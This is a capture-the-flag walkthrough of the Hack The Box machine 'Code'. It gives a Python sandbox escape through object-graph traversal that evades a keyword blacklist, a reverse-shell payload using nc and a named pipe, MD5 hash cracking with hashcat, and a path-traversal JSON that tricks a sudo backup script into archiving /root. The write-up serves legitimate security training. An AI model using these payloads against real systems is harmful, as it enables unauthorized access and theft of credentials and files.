Post

Code - Hack The Box

Code - Hack The Box

Capture d'écran 2025-04-26 105912

This machine, Code, is part of Hack The Box (HTB) and is rated as an easy-level Linux challenge. It provides a great opportunity to practice web enumeration, dynamic code evaluation bypass techniques, lateral movement and privilege escalation. Throughout this challenge, we will explore a restricted web application, find a way to execute arbitrary code despite strong filtering, leverage credentials to move between user accounts, and ultimately gain root access. Let’s dive in and break into this machine!


Initial enumeration

To start, we add the target’s IP address to our /etc/hosts file and perform a full port scan using nmap :

1
nmap code.htb -sV -sC -p- -oN nmapres

Capture d'écran 2025-04-26 114529

The scan reveals two open ports :

  • 22/tcp : using ssh service
  • 5000/tcp : using http service

Next, we can perform a directory enumeration using gobuster.

1
gobuster dir -u http://code.htb:5000 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-words.txt > gobusterres

Capture d'écran 2025-04-26 115601

The scan completed successfully and identified the following endpoints:

  • /login (HTTP 200 OK) — Login page.

  • /register (HTTP 200 OK) — User registration page.

  • /logout (HTTP 302 Found) — Redirects to /.

  • /about (HTTP 200 OK) — About page.

  • /codes (HTTP 302 Found) — Redirects to /login.

The presence of /login, /register, and /codes suggests that the application likely implements user authentication and authorization mechanisms. The /codes endpoint could potentially expose sensitive functionality, but it appears to be protected behind a login page. These findings guided the next steps of the enumeration toward authentication and session management testing.

To gather initial information about the web server, I ran WhatWeb against http://10.10.11.62:5000.

Capture d'écran 2025-04-26 120423

The results identified key technologies used by the application :

  • Web Server: Gunicorn version 20.0.4, indicating a Python-based backend.

  • Frontend Technologies: HTML5 and jQuery 3.6.0.

  • Page Title: “Python Code Editor”, suggesting that the application may allow users to interact with or execute Python code dynamically.

These details pointed toward a potentially vulnerable functionality involving code execution, and guided the next phase of testing.

Let’s check the web page at http://code.htb:5000 :

Capture d'écran 2025-04-26 120858

We can see that we can run Python code. And I first tried to execute the following code :

1
2
3
4
5
import subprocess

result = subprocess.run(["whoami"], capture_output=True, text=True)

print(result.stdout.strip())

During the initial attempts, the system triggered a code validation mechanism, effectively blocking our payload :

Capture d'écran 2025-04-26 130559

Based on this behavior, we inferred the presence of a keyword blacklist, likely filtering dangerous terms such as import, eval, exec or open.

To bypass this restriction, our strategy was to perform an object traversal attack.
Instead of writing forbidden keywords directly, we leveraged Python’s introspection features to dynamically retrieve the eval function from the runtime environment. We used the following code snippet to enumerate the subclasses of the base object class, attempting to locate a reference to eval through the __globals__ attribute :

1
2
3
4
5
6
7
8
for i in range(100):
    try:
        x = ''.__class__.__bases__[0].__subclasses__()[i].__init__.__globals__['__buil'+'tins__']
        if 'ev'+'al' in x:
            print(x['ev'+'al']("2+2"))
            break
    except Exception as e:
        continue

Capture d'écran 2025-04-26 135909

As shown, the payload successfully executed and evaluated the expression 2+2.

This demonstrates that despite restrictive keyword filtering, runtime object graph traversal combined with dynamic string reconstruction allows us to access restricted functionalities and execute arbitrary code.


Initial foothold

Now, we are leveraging the same technique to establish a reverse shell.

The code snippet below outlines how we modify the payload to execute a reverse shell :

1
2
3
4
5
6
7
8
for i in range(100):
    try:
        x = ''.__class__.__bases__[0].__subclasses__()[i].__init__.__globals__['__buil'+'tins__']
        if 'ev'+'al' in x:
            print(x['ev'+'al']('__imp'+'ort__("o'+'s").po'+'pen("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <LHOST> <LPORT> >/tmp/f").re'+'ad()'))
            break
    except Exception as e:
        continue

Notice that critical keywords such as eval, import, and os are deliberately split and reconstructed at runtime. This technique helps to bypass any basic keyword filtering or blacklisting mechanisms that may be implemented by the application to prevent command injection or code execution.

When executed, this payload results in a reverse shell connection being established between the target machine and our local machine (as defined by <LHOST> and <LPORT>). This enables us to interact with the target system through a shell, thus gaining unauthorized control.

Capture d'écran 2025-04-26 145457

After executing the payload, we successfully triggered the reverse shell. We can see that we are connected as app-producted user :

Capture d'écran 2025-04-26 145828


User flag

And we can get the user flag :

Capture d'écran 2025-04-26 145934

Upon inspecting the app.py source code, we observe that the application relies on a database.db file for data storage :

Capture d'écran 2025-04-26 151457

From this database, we are able to extract the password hashes of two users :

Capture d'écran 2025-04-26 151857

Further analysis of the register route within the application confirms that these passwords are hashed using the MD5 algorithm :

Capture d'écran 2025-04-26 152210


Lateral movement

Knowing this, we used hashcat in order to crack martin’s password :

1
hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

Capture d'écran 2025-04-26 152912

Once the password was recovered, we were able to connect to martin’s account via SSH :

Capture d'écran 2025-04-26 153536


Exploiting backy.sh to access /root

During post-exploitation enumeration, we identified that martin could execute /usr/bin/backy.sh as root without password via sudo.

Capture d'écran 2025-04-26 154107

So we can check the script backy.sh :

Capture d'écran 2025-04-26 160308

After analyzing the backy.sh script, we noticed that it processes a user-supplied JSON file using jq to sanitize the directories_to_archive field by removing any ../ sequences.
It then ensures that the resulting directories start with /var/ or /home/.

However, by carefully crafting the JSON input with sequences like ....//../....//, we can bypass the sanitization:

  • The gsub("\\.\\./"; "") replacement only removes exact ../ patterns, but not variations like ....//../....//.

  • Thus, after the weak cleaning process, the final resolved path still points to /root/.

Here is the crafted xploit.json:

1
2
3
4
{
"directories_to_archive" : ["/home/....//../....//root/"],
"destination" : "/tmp"
}

By executing the script with our malicious JSON :

1
sudo /usr/bin/backy.sh xploit.json

Capture d'écran 2025-04-26 162802

The script allowed the backup of the /root/ directory into /tmp under a .tar.bz2 archive.

Capture d'écran 2025-04-26 163618


Root flag

To retrieve the root flag, we extracted the .tar.bz2 archive with the following command :

1
tar -xvjf code_home_.._.._root_2025_April.tar.bz2

After extraction, we were able to access the root directory and obtain the root.txt flag :

Capture d'écran 2025-04-26 163834

Additionally, the archive contained the root user’s private SSH key, allowing us to gain full root access via SSH :

Capture d'écran 2025-04-26 165437


Congratulations!
This challenge was a great exercise to practice advanced enumeration, dynamic code execution bypassing filtering mechanisms and lateral movement between users. From crafting payloads with object traversal to exploiting a backup script to access sensitive directories, this CTF emphasized creativity, persistence and attention to subtle misconfigurations to ultimately achieve root access.

Thanks for reading, and happy hacking!

Capture d'écran 2025-04-26 164113

This post is licensed under CC BY 4.0 by the author.